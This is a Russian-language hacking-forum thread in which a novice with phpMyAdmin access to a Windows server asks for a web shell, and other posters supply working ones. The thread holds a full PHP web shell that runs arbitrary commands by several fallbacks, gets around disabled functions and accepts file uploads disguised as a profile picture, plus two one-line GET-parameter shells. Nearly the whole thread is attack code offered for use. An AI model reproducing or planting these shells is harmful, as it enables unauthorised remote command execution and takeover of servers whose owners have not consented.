Просмотр полной версии : шелл на windows сервере.
AlexTEry
10.05.2010, 21:50
Всем привет. Задача такова:
Есть доступ в phpmyadmin.
Дайте пожалуйста шелл, чтобы выполнял команды такого вида:
http://server.ru/shell.php?cmd=dir и так далее...
Я в этом новичек.
BlackSun
10.05.2010, 21:55
<font face="monospace,terminal" size="-1"><pre>
<?php
ob_end_clean();
ob_start();
$disablefuncs = array();
function myshellexec($cmd) {
global $disablefuncs;
if (empty($cmd)) {
return '';
}
$result = '';
if (is_callable('exec') and !in_array('exec', $disablefuncs)) {
exec($cmd, $result);
$result = join("\n", $result);
} elseif (($result = `$cmd`) !== FALSE) {
} elseif (is_callable('system') and !in_array('system')) {
ob_start();
system($cmd);
$result = ob_get_contents();
ob_clean();
} elseif (is_callable('passthru') and !in_array('passthru', $disablefuncs)) {
ob_start();
passthru($cmd);
$result = ob_get_contents();
ob_clean();
} elseif (is_resource($fp = popen($cmd,"r"))) {
while(!feof($fp)) {
$result .= fread($fp, 1024);
}
pclose($fp);
} else {
$result = 'Shit. Can\'t execute command.';
}
return $result;
}
if (is_callable('ini_get')) {
$disablefuncs = ini_get("disable_functions");
if (!empty($disablefuncs)) {
$disablefuncs = str_replace(' ', '', $disablefuncs);
$disablefuncs = explode(',', $disablefuncs);
} else {
$disablefuncs = array();
}
}
if (isset($_POST['execl'])) {
echo $_POST['execl']. '<br>';
echo myshellexec($_POST['execl']);
}
if (isset($_POST['pcntl_exec'])) {
pcntl_exec($_POST['pcntl_exec'], $_POST['pcntl_exec_param']);
}
if (isset($_FILES['upfile'])) {
if (is_uploaded_file($_FILES['upfile']['tmp_name'])) {
move_uploaded_file($_FILES['upfile']['tmp_name'], $_POST['fname']);
echo '<b>Uploaded!</b>';
}
}
?><br>
</pre>
<form method="POST" action="<?php echo '?'. $_SERVER['QUERY_STRING']; ?>">
/bin/bash: <input type="text" name="execl" id="bash" style="width:80%"><input type="submit">
</form><br>
<form method="POST" action="<?php echo '?'. $_SERVER['QUERY_STRING']; ?>">
pcntl_exec: <input type="text" name="pcntl_exec" style="width:200px"><input type="text" name="pcntl_exec_param" style="width:70%"><input type="submit">
</form>
<form method="POST" action="<?php echo '?'. $_SERVER['QUERY_STRING']; ?>" enctype="multipart/form-data">
upload: <input type="text" name="fname" style="width:200px" value="profilepic605_1.png"><input type="file" name="upfile" style="width:70%"><input type="submit">
</form>
<script>document.getElementById("bash").focus();</script>
</font>
<?php
$text = str_replace("\n", '<br />', ob_get_contents());
ob_end_clean();
echo $text;
?>
BlackSun по теме. Заливал шелл по видео (https://forum.antichat.ru/thread189608.html). Где ошибка?
<?php exec(stripslashes(@$_GET["cmd"]), $result); $result = implode("<br>", $result); echo convert_cyr_string($result, "d", "w"); ?>
Пишет:
Parse error: syntax error, unexpected $end in C:\Program Files\VertrigoServ\www\shell.php on line 2
Если Вас не затруднит-помогите.
<?php system(stripslashes(implode($_GET))); ?>
юзать ?ololo=dir
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot